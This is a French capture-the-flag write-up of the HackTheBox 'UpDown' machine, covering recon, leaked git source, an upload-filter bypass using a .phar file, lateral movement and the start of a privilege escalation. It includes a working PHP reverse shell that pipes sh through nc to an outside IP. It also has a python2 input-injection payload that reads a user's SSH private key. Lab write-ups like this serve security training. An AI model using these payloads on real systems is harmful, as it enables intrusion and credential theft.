đ HackTheBox - UpDown
Table of contents
Note
DeuxiĂšme writeup sur HTB, il a lui aussi Ă©tĂ© fait il y a longtemps donc c’est possible que j’ai dit des bĂȘtises, et il y a beaucoup de screens.
NĂ©anmoins, c’Ă©tait un room assez sympathique avec une mĂ©chanique bien trouvĂ©e, je l’ai bien aimĂ©e.
Recon
Comme dâhabitude, on lance:
nmap -A siteisup.htb
Aucun port anormal dâouvert, on va donc se concentrer sur le site et le rĂ©sultat du dirbuster
dirb http://siteisup.htb
Bon lĂ câest assez Ă©vident, le /.git a rien Ă faire ici, donc on va utiliser git-dumper
pour rĂ©cupĂ©rer tout les fichiers qui s’y trouvent
git-dumper http://siteisup.htb/dev/.git/ git/
On se retrouve donc avec ceci
On affiche la liste des commits faits au repo
git log
Il y en a beaucoup, mais le seul qui sort du lot est le âNew technique in header to protect our dev vhost.â
Regardons les modifications quâont apportĂ©es ce commit
git show 8812785e31c879261050e72e20f298ae8c43b565
On voit que câest une modification du .htaccess
, qui change les settings du serveur pour que seules les connections avec le header Special-Dev: only4dev
soient acceptées
Mais le serveur principal fonctionnait trĂšs bien sans ce header, donc le .htacces
doit probablement agir sur un sous domaine
On va donc fuzz les sous domaines
ffuf -c -w /usr/share/wfuzz/wordlist/general/common.txt -u "http://siteisup.htb" -H "Host: FUZZ.siteisup.htb" -fs 1131
Il existe donc un sous domaine: dev.siteisup.htb
Pour sây rendre, on active le proxy burpsuite, puis on dĂ©sactive lâintercepter
On crĂ©e ensuite un Match and Replace dans les options du proxy, qui va ajouter le header Ă toutes nos requĂȘtes
dev.siteisup.htb
est une sorte de panel administrateur, oĂč on peut entrer une liste dâurls Ă checker
Foothold
Mais câest surtout un sous domaine dont on a le code source dans le .git, donc on va aller y jeter un oeil
Lâindex include juste checker ou le fichier en fonction du lien avec un filtre pour les LFI, on va regarder dans checker
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
Câest le fichier qui gĂšre lâupload et le check de la liste dâurls, câest lĂ quâon verra les eventuels filtres et ce quâil se passe quand on lui upload un fichier
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
On sait donc que:
- Le fichier quâon upload ne peut pas faire plus de 10Kb
- Son extention ne doit pas ĂȘtre dans la blacklist
- Quand on upload un fichier, il est stocké dans /uploads
- Il est lu en entier, chaque url est checké puis le fichier est supprimé
Tout dâabord le premier filtre nâest pas un problĂšme puisque la plupart des reverse shell en php font moins de 10Kb
Ensuite, le danger des blacklists, câest oublier une extention, en lâoccurence ici, lâextention .phar nâest pas blacklist, on va donc pouvoir upload des fichiers php qui seront lus
Enfin, pour Ă©viter que le fichier soit supprimĂ© directement, on va lui donner une grande quantitĂ© dâurls Ă check, pour que ça prenne plus de temps
On crée donc notre payload.phar:
http://www.ebay.com
http://www.google.fr
http://www.t.co
http://www.tmall.com
http://www.google.com.br
http://www.360.cn
http://www.sohu.com
http://www.amazon.co.jp
http://www.pinterest.com
http://www.netflix.com
http://www.google.it
http://www.google.ru
http://www.microsoft.com
http://www.google.es
http://www.wordpress.com
http://www.gmw.cn
http://www.tumblr.com
http://www.paypal.com
http://www.blogspot.com
http://www.imgur.com
http://www.stackoverflow.com
http://www.aliexpress.com
http://www.naver.com
http://www.ok.ru
http://www.apple.com
http://www.github.com
http://www.chinadaily.com.cn
http://www.imdb.com
http://www.google.co.kr
http://www.fc2.com
http://www.jd.com
http://www.blogger.com
http://www.163.com
http://www.google.ca
http://www.whatsapp.com
http://www.amazon.in
http://www.office.com
http://www.tianya.cn
http://www.google.co.id
<?php
//Upload reverse-shell, bypass exec(), shell_exec(), system(), fsockopen(), passthru()
$descriptorspec = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
2 => array("file","/tmp/error-output.txt","a")
);
$cwd='/tmp';
$env=array('some_option'=>'aeiou');
$process=proc_open('sh',$descriptorspec,$pipes,$cwd,$env);
if(is_resource($process)){
fwrite($pipes[0],'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.172 9001 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
Jâutilise un reverse shell spĂ©cial qui bypass exec(), shell_exec() et toutes les fonctions de ce type car elles sont filtrĂ©es
On lance notre netcat, on upload le fichier puis on le visite…
Lateral Move
Maintenant qu’on est connectĂ©s Ă la machine, routine classique pour stabiliser le shell
python3 -c âimport pty;pty.spawn(â/bin/bashâ)â
export TERM=xterm
Et on se contentera de ça !
En regardant dans le home de developer, il y a un dossier âdev
â, dans lequel se trouve un siteisup_test.py
et un siteisup
En faisant un ls -la
, on voit que le fichier siteisup
a le setuid bit
, ce qui veux dire quâil est executĂ© en tant que lâowner du fichier, soit en tant que developer
Partons du principe qu’il s’agit seulement d’une version compilĂ©e du .py qui se trouve dans le mĂȘme rĂ©pertoire
Il retourne cette erreur au lancement:
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("Website is up")?
On peut cat le .py
pour essayer de comprendre un peu mieux ce qu’il se passe:
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
Cette syntaxe du print est propre Ă python2, et on peut se douter que ceci nâa pas Ă©tĂ© laissĂ© au hasard
On cherche donc des vulnérabilités de python2 sur google, et assez vite on peut se rendre compte que toutes les input en python2 sont injectables
En entrant un payload dans un input, ce dernier est executé avant que le programme plante
On va donc lancer le fichier avec python2 puis entrer ce payload dans lâinput:
__import__('os').system("cat /home/developer/.ssh/id_rsa")
Ce dernier va simplement lire la clĂ© SSH de lâuser developer
Bien Ă©videmment, en lançant le .py, il retourne une permission denied, puisque le fichier nâa pas le setuid bit
En essayant le mĂȘme payload mais cette fois dans l’input du binaire, ça fonctionne, et on a la clĂ© de developer
On save la clĂ© localement puis on met Ă jour ses permissions pour pouvoir l’utiliser avec la commande ssh
chmod 700 id_rsa.key
On se ssh
en tant que developer
ssh -i id_rsa.key developer@siteisup.htb
Privilege escalation
Le root Ă©tant extrĂȘmement facile, on va pouvoir passer assez vite dessus
sudo -l
Cela nous montre que developer
peut utiliser le binaire /usr/local/bin/easy_install
avec sudo
On trouve cet exploit sur GTFOBins